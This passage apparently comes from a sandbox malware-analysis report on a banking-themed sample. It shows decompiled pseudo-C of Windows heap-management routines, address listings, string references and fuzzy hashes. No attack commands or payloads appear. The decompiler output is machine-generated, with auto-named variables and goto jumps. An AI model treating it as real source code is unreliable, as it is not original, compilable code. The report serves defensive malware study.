							 *((intOrPtr*)(_t206 + 0x74)) =  *((intOrPtr*)(_t206 + 0x74)) + ( *_t256 & 0x0000ffff);
							_t255 =  *((intOrPtr*)(_t206 + 0xb4));
							if(_t255 == 0) {
								L36:
								if( *(_t206 + 0x4c) != 0) {
									 *(_t256 + 3) =  *(_t256 + 1) ^  *(_t256 + 2) ^  *_t256;
									 *_t256 =  *_t256 ^  *(_t206 + 0x50);
								}
								_t210 = _v48;
								_t251 = _v12 & 0x0000ffff;
								_t131 = _v20;
								_t235 = _v24 - _t131;
								_v24 = _t235;
								_t256 = _t256 + _t131 * 8;
								if(_t256 >=  *((intOrPtr*)(_t210 + 0x28))) {
									goto L41;
								} else {
									goto L39;
								}
							} else {
								_t216 =  *_t256 & 0x0000ffff;
								_v28 = _t216;
								if(_t216 <  *((intOrPtr*)(_t255 + 4))) {
									L28:
									_t242 = _t216 -  *((intOrPtr*)(_t255 + 0x14));
									_v32 = _t242;
									if( *((intOrPtr*)(_t255 + 8)) != 0) {
										_t167 = _t242 + _t242;
									} else {
										_t167 = _t242;
									}
									 *((intOrPtr*)(_t255 + 0xc)) =  *((intOrPtr*)(_t255 + 0xc)) + 1;
									_t168 = _t167 << 2;
									_v40 = _t168;
									_t206 = _v44;
									_v16 =  *((intOrPtr*)(_t168 +  *((intOrPtr*)(_t255 + 0x20))));
									if(_t216 ==  *((intOrPtr*)(_t255 + 4)) - 1) {
										 *((intOrPtr*)(_t255 + 0x10)) =  *((intOrPtr*)(_t255 + 0x10)) + 1;
									}
									_t217 = _v16;
									if(_t217 != 0) {
										_t173 = _t217 - 8;
										_v52 = _t173;
										_t174 =  *_t173;
										__eflags =  *(_t206 + 0x4c);
										if( *(_t206 + 0x4c) != 0) {
											_t245 =  *(_t206 + 0x50) ^ _t174;
											_v36 = _t245;
											_t225 = _t245 >> 0x00000010 ^ _t245 >> 0x00000008 ^ _t245;
											__eflags = _t245 >> 0x18 - _t225;
											if(_t245 >> 0x18 != _t225) {
												_push(_t225);
												E0133A80D(_t206, _v52, 0, 0);
											}
											_t174 = _v36;
											_t217 = _v16;
											_t242 = _v32;
										}
										_v28 = _v28 - (_t174 & 0x0000ffff);
										__eflags = _v28;
										if(_v28 > 0) {
											goto L34;
										} else {
											goto L33;
										}
									} else {
										L33:
										_t58 = _t256 + 8; // -16
										 *((intOrPtr*)(_v40 +  *((intOrPtr*)(_t255 + 0x20)))) = _t58;
										_t206 = _v44;
										_t217 = _v16;
										L34:
										if(_t217 == 0) {
											asm("bts eax, edx");
										}
										goto L36;
									}
								} else {
									goto L24;
								}
								while(1) {
									L24:
									_t182 =  *_t255;
									if(_t182 == 0) {
										_t216 =  *((intOrPtr*)(_t255 + 4)) - 1;
										__eflags = _t216;
										goto L28;
									}
									_t255 = _t182;
									if(_t216 >=  *((intOrPtr*)(_t255 + 4))) {
										continue;
									} else {
										goto L28;
									}
								}
								goto L28;
							}
						}
					}
					L39:
				} while (_t235 != 0);
				_t214 = _v12;
				_t131 =  *(_t206 + 0x54) ^ _t214;
				 *(_t256 + 4) = _t131;
				if(_t214 == 0) {
					__eflags =  *0x1368748 - 1;
					if( *0x1368748 >= 1) {
						_t127 = _t256 + 0xfff; // 0xfff
						_t131 = _t127 & 0xfffff000;
						__eflags = _t131 - _t256;
						if(_t131 != _t256) {
							_t156 =  *[fs:0x30];
							__eflags =  *(_t156 + 0xc);
							if( *(_t156 + 0xc) == 0) {
								_push("HEAP: ");
								E0127B150();
							} else {
								E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock");
							_t131 = E0127B150();
							__eflags =  *0x1367bc8;
							if(__eflags == 0) {
								_t131 = E01332073(_t206, 1, _t251, __eflags);
							}
						}
					}
				}
				goto L41;
			}























































                                                                        0x0129a83a
                                                                        0x0129a83c
                                                                        0x0129a83e
                                                                        0x0129a841
                                                                        0x0129a844
                                                                        0x0129a84a
                                                                        0x0129aa53
                                                                        0x0129aa59
                                                                        0x0129aa59
                                                                        0x0129a858
                                                                        0x0129a85e
                                                                        0x0129aaf5
                                                                        0x0129aafc
                                                                        0x012e229e
                                                                        0x012e22a2
                                                                        0x012e22a8
                                                                        0x012e22b3
                                                                        0x012e22b5
                                                                        0x012e22bb
                                                                        0x012e22c1
                                                                        0x012e22c5
                                                                        0x012e22e6
                                                                        0x012e22eb
                                                                        0x012e22f0
                                                                        0x012e22c7
                                                                        0x012e22dc
                                                                        0x012e22e1
                                                                        0x012e22e1
                                                                        0x012e22f3
                                                                        0x012e22f8
                                                                        0x012e22fd
                                                                        0x012e2300
                                                                        0x012e2307
                                                                        0x012e230e
                                                                        0x012e230e
                                                                        0x012e2313
                                                                        0x012e2313
                                                                        0x012e22b5
                                                                        0x012e22a2
                                                                        0x0129aafc
                                                                        0x0129a864
                                                                        0x0129a869
                                                                        0x0129aa5c
                                                                        0x0129aa5e
                                                                        0x0129a86f
                                                                        0x0129a87f
                                                                        0x0129a885
                                                                        0x0129a885
                                                                        0x0129a88b
                                                                        0x0129a890
                                                                        0x0129a896
                                                                        0x0129ab0c
                                                                        0x0129ab0f
                                                                        0x0129ab15
                                                                        0x012e2320
                                                                        0x012e2320
                                                                        0x0129ab1b
                                                                        0x0129a89c
                                                                        0x0129a89f
                                                                        0x0129a8a2
                                                                        0x0129a8a2
                                                                        0x0129a8a5
                                                                        0x0129a8af
                                                                        0x0129a8b3
                                                                        0x0129a8b8
                                                                        0x0129aa66
                                                                        0x0129a8be
                                                                        0x0129a8c5
                                                                        0x0129a8c6
                                                                        0x0129a8ce
                                                                        0x012e2328
                                                                        0x012e2332
                                                                        0x012e2337
                                                                        0x012e2337
                                                                        0x0129a8ce
                                                                        0x0129a8d4
                                                                        0x0129a8d8
                                                                        0x0129a8db
                                                                        0x0129a8de
                                                                        0x0129a8e1
                                                                        0x0129a8e5
                                                                        0x0129a8e8
                                                                        0x0129a8f0
                                                                        0x0129a8f3
                                                                        0x012e234c
                                                                        0x012e2350
                                                                        0x012e2355
                                                                        0x012e2359
                                                                        0x012e2359
                                                                        0x0129a8f9
                                                                        0x0129a901
                                                                        0x0129aae4
                                                                        0x0129aae4
                                                                        0x0129aaea
                                                                        0x00000000
                                                                        0x0129a907
                                                                        0x0129a90a
                                                                        0x0129a91d
                                                                        0x0129a91d
                                                                        0x00000000
                                                                        0x0129a910
                                                                        0x0129a910
                                                                        0x0129a910
                                                                        0x0129a914
                                                                        0x0129a924
                                                                        0x0129a924
                                                                        0x0129a924
                                                                        0x0129a924
                                                                        0x0129a916
                                                                        0x0129a91b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129a91b
                                                                        0x0129a925
                                                                        0x0129a925
                                                                        0x0129a932
                                                                        0x0129a936
                                                                        0x0129a93c
                                                                        0x0129a93c
                                                                        0x0129a93c
                                                                        0x0129ab22
                                                                        0x0129ab24
                                                                        0x0129ab27
                                                                        0x0129ab27
                                                                        0x0129a942
                                                                        0x0129a944
                                                                        0x0129aaba
                                                                        0x0129aabd
                                                                        0x0129aac0
                                                                        0x0129aac0
                                                                        0x0129aac2
                                                                        0x0129ab2f
                                                                        0x0129aac4
                                                                        0x0129aac4
                                                                        0x0129aac7
                                                                        0x0129aaca
                                                                        0x0129aacc
                                                                        0x0129aace
                                                                        0x0129aace
                                                                        0x0129aace
                                                                        0x0129aad1
                                                                        0x0129aad1
                                                                        0x0129aad7
                                                                        0x0129aad9
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e2361
                                                                        0x012e2369
                                                                        0x012e236b
                                                                        0x00000000
                                                                        0x012e2371
                                                                        0x00000000
                                                                        0x012e2371
                                                                        0x00000000
                                                                        0x012e236b
                                                                        0x0129aac0
                                                                        0x0129a94a
                                                                        0x0129a94a
                                                                        0x0129a94d
                                                                        0x0129a94d
                                                                        0x0129a950
                                                                        0x0129a954
                                                                        0x012e2376
                                                                        0x012e2380
                                                                        0x0129a95a
                                                                        0x0129a95a
                                                                        0x0129a95c
                                                                        0x0129a95f
                                                                        0x0129a961
                                                                        0x0129a961
                                                                        0x0129a967
                                                                        0x0129a96a
                                                                        0x0129a972
                                                                        0x0129aa02
                                                                        0x0129aa06
                                                                        0x0129aa10
                                                                        0x0129aa16
                                                                        0x0129aa16
                                                                        0x0129aa1b
                                                                        0x0129aa21
                                                                        0x0129aa24
                                                                        0x0129aa27
                                                                        0x0129aa29
                                                                        0x0129aa2c
                                                                        0x0129aa32
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129a978
                                                                        0x0129a978
                                                                        0x0129a97b
                                                                        0x0129a981
                                                                        0x0129a996
                                                                        0x0129a998
                                                                        0x0129a99f
                                                                        0x0129a9a2
                                                                        0x012e238a
                                                                        0x0129a9a8
                                                                        0x0129a9a8
                                                                        0x0129a9a8
                                                                        0x0129a9aa
                                                                        0x0129a9ad
                                                                        0x0129a9b0
                                                                        0x0129a9bb
                                                                        0x0129a9be
                                                                        0x0129a9c7
                                                                        0x0129a9c9
                                                                        0x0129a9c9
                                                                        0x0129a9cc
                                                                        0x0129a9d1
                                                                        0x0129aa6d
                                                                        0x0129aa70
                                                                        0x0129aa73
                                                                        0x0129aa75
                                                                        0x0129aa79
                                                                        0x0129aa7e
                                                                        0x0129aa82
                                                                        0x0129aa8f
                                                                        0x0129aa94
                                                                        0x0129aa96
                                                                        0x012e2392
                                                                        0x012e23a1
                                                                        0x012e23a1
                                                                        0x0129aa9c
                                                                        0x0129aa9f
                                                                        0x0129aaa2
                                                                        0x0129aaa2
                                                                        0x0129aaa8
                                                                        0x0129aaab
                                                                        0x0129aaaf
                                                                        0x00000000
                                                                        0x0129aab5
                                                                        0x00000000
                                                                        0x0129aab5
                                                                        0x0129a9d7
                                                                        0x0129a9d7
                                                                        0x0129a9da
                                                                        0x0129a9e0
                                                                        0x0129a9e3
                                                                        0x0129a9e6
                                                                        0x0129a9e9
                                                                        0x0129a9eb
                                                                        0x0129a9fd
                                                                        0x0129a9fd
                                                                        0x00000000
                                                                        0x0129a9eb
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129a983
                                                                        0x0129a983
                                                                        0x0129a983
                                                                        0x0129a987
                                                                        0x0129a995
                                                                        0x0129a995
                                                                        0x0129a995
                                                                        0x0129a995
                                                                        0x0129a989
                                                                        0x0129a98e
                                                                        0x00000000
                                                                        0x0129a990
                                                                        0x00000000
                                                                        0x0129a990
                                                                        0x0129a98e
                                                                        0x00000000
                                                                        0x0129a983
                                                                        0x0129a972
                                                                        0x0129a90a
                                                                        0x0129aa34
                                                                        0x0129aa34
                                                                        0x0129aa40
                                                                        0x0129aa43
                                                                        0x0129aa46
                                                                        0x0129aa4d
                                                                        0x012e23ab
                                                                        0x012e23b2
                                                                        0x012e23b8
                                                                        0x012e23be
                                                                        0x012e23c3
                                                                        0x012e23c5
                                                                        0x012e23cb
                                                                        0x012e23d1
                                                                        0x012e23d5
                                                                        0x012e23f6
                                                                        0x012e23fb
                                                                        0x012e23d7
                                                                        0x012e23ec
                                                                        0x012e23f1
                                                                        0x012e2403
                                                                        0x012e2408
                                                                        0x012e2410
                                                                        0x012e2417
                                                                        0x012e2422
                                                                        0x012e2422
                                                                        0x012e2417
                                                                        0x012e23c5
                                                                        0x012e23b2
                                                                        0x00000000

                                                                        Strings
                                                                        • HEAP[%wZ]: , xrefs: 012E22D7, 012E23E7
                                                                        • ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 012E22F3
                                                                        • HEAP: , xrefs: 012E22E6, 012E23F6
                                                                        • ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 012E2403
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
                                                                        • API String ID: 0-1657114761
                                                                        • Opcode ID: b27f39d808ad361640e81361d57b3b169613feb5c503561454a601235ed4a32a
                                                                        • Instruction ID: e824a7b7cdf8dcda702d46bcee6122da236da9bbe1f774ceabadecdd8f665888
                                                                        • Opcode Fuzzy Hash: b27f39d808ad361640e81361d57b3b169613feb5c503561454a601235ed4a32a
                                                                        • Instruction Fuzzy Hash: 11D1AE34A203469FEB19CF6CC491BBABBF5FF58300F158569DA9A9B341E374A841CB50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0129A229 Relevance: 5.2, Strings: 4, Instructions: 183COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 69%
                                                                        			E0129A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				E0129DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = E012B9730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E0133A80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E012B9660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E0127B150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E01297D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E0133138A(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E01297D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E01297D50();
						if(__eflags != 0) {
							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E01331582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E01297D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E01297D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E01331582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
					E012CD5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}






























                                                                        0x0129a229
                                                                        0x0129a231
                                                                        0x0129a23f
                                                                        0x0129a242
                                                                        0x0129a244
                                                                        0x0129a24c
                                                                        0x0129a255
                                                                        0x0129a25a
                                                                        0x0129a25f
                                                                        0x012e1c76
                                                                        0x012e1c78
                                                                        0x012e1c7e
                                                                        0x012e1c7f
                                                                        0x012e1c81
                                                                        0x012e1c82
                                                                        0x012e1c84
                                                                        0x012e1c89
                                                                        0x012e1c8b
                                                                        0x012e1c9e
                                                                        0x012e1c9e
                                                                        0x012e1cab
                                                                        0x012e1cb2
                                                                        0x00000000
                                                                        0x012e1cb2
                                                                        0x012e1c8d
                                                                        0x012e1c92
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e1c94
                                                                        0x012e1c98
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e1c98
                                                                        0x0129a265
                                                                        0x0129a265
                                                                        0x0129a266
                                                                        0x0129a26f
                                                                        0x0129a270
                                                                        0x0129a276
                                                                        0x0129a277
                                                                        0x0129a279
                                                                        0x0129a27e
                                                                        0x0129a282
                                                                        0x012e1db5
                                                                        0x012e1dbb
                                                                        0x012e1dc1
                                                                        0x012e1dc5
                                                                        0x012e1de4
                                                                        0x012e1de9
                                                                        0x012e1dc7
                                                                        0x012e1ddc
                                                                        0x012e1de1
                                                                        0x012e1def
                                                                        0x012e1df3
                                                                        0x012e1df7
                                                                        0x012e1dfe
                                                                        0x012e1e06
                                                                        0x0129a302
                                                                        0x0129a308
                                                                        0x0129a308
                                                                        0x0129a288
                                                                        0x0129a28d
                                                                        0x0129a294
                                                                        0x012e1cc1
                                                                        0x0129a29a
                                                                        0x0129a29a
                                                                        0x0129a29a
                                                                        0x0129a29f
                                                                        0x012e1ccb
                                                                        0x012e1cd1
                                                                        0x012e1cd8
                                                                        0x012e1cea
                                                                        0x012e1cea
                                                                        0x012e1cd8
                                                                        0x0129a2a9
                                                                        0x0129a2af
                                                                        0x0129a2bc
                                                                        0x012e1cfd
                                                                        0x0129a2c2
                                                                        0x0129a2c2
                                                                        0x0129a2c2
                                                                        0x0129a2c7
                                                                        0x012e1d07
                                                                        0x012e1d0d
                                                                        0x012e1d14
                                                                        0x012e1d1f
                                                                        0x012e1d21
                                                                        0x012e1d2c
                                                                        0x012e1d2c
                                                                        0x012e1d2c
                                                                        0x012e1d47
                                                                        0x012e1d47
                                                                        0x012e1d14
                                                                        0x0129a2cd
                                                                        0x0129a2d2
                                                                        0x0129a2d9
                                                                        0x012e1d5a
                                                                        0x0129a2df
                                                                        0x0129a2df
                                                                        0x0129a2df
                                                                        0x0129a2e4
                                                                        0x012e1d69
                                                                        0x012e1d6b
                                                                        0x012e1d76
                                                                        0x012e1d76
                                                                        0x012e1d76
                                                                        0x012e1d91
                                                                        0x012e1d91
                                                                        0x0129a2ea
                                                                        0x0129a2f0
                                                                        0x0129a2f5
                                                                        0x012e1da8
                                                                        0x012e1dad
                                                                        0x012e1dad
                                                                        0x0129a2fd
                                                                        0x0129a300
                                                                        0x00000000

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
                                                                        • API String ID: 2994545307-2586055223
                                                                        • Opcode ID: ef1a80e3ea5c9b5a732cb18f9d520b15a7bbe1e77dbee4c8d391d952ae342395
                                                                        • Instruction ID: 66f54590cefb561cb17a5cc7d922a956d29e097588d8d3e4b1e093140c407245
                                                                        • Opcode Fuzzy Hash: ef1a80e3ea5c9b5a732cb18f9d520b15a7bbe1e77dbee4c8d391d952ae342395
                                                                        • Instruction Fuzzy Hash: 5851E3326247829FE712DB6CC849F777BE8EF84750F0804A8F6518B291D775D850CB62
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 013349A4 Relevance: 5.1, Strings: 4, Instructions: 114COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
                                                                        • API String ID: 2994545307-336120773
                                                                        • Opcode ID: cd814fc41dd154d4ef9f993dfb2a2e20536e40d1dc6d0a3ec4b5fd2cc89551df
                                                                        • Instruction ID: eb0b23a50bb063460e6e2cd4bf8a7fb166e6ef6bc112a2e4943489c32d86cab6
                                                                        • Opcode Fuzzy Hash: cd814fc41dd154d4ef9f993dfb2a2e20536e40d1dc6d0a3ec4b5fd2cc89551df
                                                                        • Instruction Fuzzy Hash: 69314436220214EFE720DB99D889F7BB7E8EF44629F144059F905CB260E671A981CB6D
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012999BF Relevance: 4.3, Strings: 3, Instructions: 572COMMONCrypto
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 78%
                                                                        			E012999BF(void* __ecx, signed short* __edx, signed int* _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed short _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short _t186;
				intOrPtr _t187;
				signed short _t190;
				signed int _t196;
				signed short _t197;
				intOrPtr _t203;
				signed int _t207;
				signed int _t210;
				signed short _t215;
				intOrPtr _t216;
				signed short _t219;
				signed int _t221;
				signed short _t222;
				intOrPtr _t228;
				signed int _t232;
				signed int _t235;
				signed int _t250;
				signed short _t251;
				intOrPtr _t252;
				signed short _t254;
				intOrPtr _t255;
				signed int _t258;
				signed int _t259;
				signed short _t262;
				intOrPtr _t271;
				signed int _t279;
				signed int _t282;
				signed int _t284;
				signed int _t286;
				intOrPtr _t292;
				signed int _t296;
				signed int _t299;
				void* _t307;
				signed int* _t309;
				signed short* _t311;
				signed short* _t313;
				signed char _t314;
				intOrPtr _t316;
				signed int _t323;
				signed char _t328;
				signed short* _t330;
				signed char _t331;
				intOrPtr _t335;
				signed int _t342;
				signed char _t347;
				signed short* _t348;
				signed short* _t350;
				signed short _t352;
				signed char _t354;
				intOrPtr _t357;
				intOrPtr* _t364;
				signed char _t365;
				intOrPtr _t366;
				signed int _t373;
				signed char _t378;
				signed int* _t381;
				signed int _t382;
				signed short _t384;
				signed int _t386;
				unsigned int _t390;
				signed int _t393;
				signed int* _t394;
				unsigned int _t398;
				signed short _t400;
				signed short _t402;
				signed int _t404;
				signed int _t407;
				unsigned int _t411;
				signed short* _t414;
				signed int _t415;
				signed short* _t419;
				signed int* _t420;
				void* _t421;

				_t414 = __edx;
				_t307 = __ecx;
				_t419 = __edx - (( *(__edx + 4) & 0x0000ffff ^  *(__ecx + 0x54) & 0x0000ffff) << 3);
				if(_t419 == __edx || (( *(__ecx + 0x4c) >> 0x00000014 &  *(__ecx + 0x52) ^ _t419[1]) & 0x00000001) != 0) {
					_v5 = _a8;
					L3:
					_t381 = _a4;
					goto L4;
				} else {
					__eflags =  *(__ecx + 0x4c);
					if( *(__ecx + 0x4c) != 0) {
						_t411 =  *(__ecx + 0x50) ^  *_t419;
						 *_t419 = _t411;
						_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
						__eflags = _t411 >> 0x18 - _t378;
						if(__eflags != 0) {
							_push(_t378);
							E0132FA2B(__ecx, __ecx, _t419, __edx, _t419, __eflags);
						}
					}
					_t250 = _a8;
					_v5 = _t250;
					__eflags = _t250;
					if(_t250 != 0) {
						_t400 = _t414[6];
						_t53 =  &(_t414[4]); // -16
						_t348 = _t53;
						_t251 =  *_t348;
						_v12 = _t251;
						_v16 = _t400;
						_t252 =  *((intOrPtr*)(_t251 + 4));
						__eflags =  *_t400 - _t252;
						if( *_t400 != _t252) {
							L49:
							_push(_t348);
							_push( *_t400);
							E0133A80D(_t307, 0xd, _t348, _t252);
							L50:
							_v5 = 0;
							goto L11;
						}
						__eflags =  *_t400 - _t348;
						if( *_t400 != _t348) {
							goto L49;
						}
						 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
						_t407 =  *(_t307 + 0xb4);
						__eflags = _t407;
						if(_t407 == 0) {
							L36:
							_t364 = _v16;
							_t282 = _v12;
							 *_t364 = _t282;
							 *((intOrPtr*)(_t282 + 4)) = _t364;
							__eflags = _t414[1] & 0x00000008;
							if((_t414[1] & 0x00000008) == 0) {
								L39:
								_t365 = _t414[1];
								__eflags = _t365 & 0x00000004;
								if((_t365 & 0x00000004) != 0) {
									_t284 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
									_v12 = _t284;
									__eflags = _t365 & 0x00000002;
									if((_t365 & 0x00000002) != 0) {
										__eflags = _t284 - 4;
										if(_t284 > 4) {
											_t284 = _t284 - 4;
											__eflags = _t284;
											_v12 = _t284;
										}
									}
									_t78 =  &(_t414[8]); // -8
									_t286 = E012CD540(_t78, _t284, 0xfeeefeee);
									_v16 = _t286;
									__eflags = _t286 - _v12;
									if(_t286 != _v12) {
										_t366 =  *[fs:0x30];
										__eflags =  *(_t366 + 0xc);
										if( *(_t366 + 0xc) == 0) {
											_push("HEAP: ");
											E0127B150();
										} else {
											E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_v16 + 0x10 + _t414);
										E0127B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
										_t292 =  *[fs:0x30];
										_t421 = _t421 + 0xc;
										__eflags =  *((char*)(_t292 + 2));
										if( *((char*)(_t292 + 2)) != 0) {
											 *0x1366378 = 1;
											asm("int3");
											 *0x1366378 = 0;
										}
									}
								}
								goto L50;
							}
							_t296 = E0129A229(_t307, _t414);
							__eflags = _t296;
							if(_t296 != 0) {
								goto L39;
							} else {
								L0129A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
								goto L50;
							}
						} else {
							_t373 =  *_t414 & 0x0000ffff;
							while(1) {
								__eflags = _t373 -  *((intOrPtr*)(_t407 + 4));
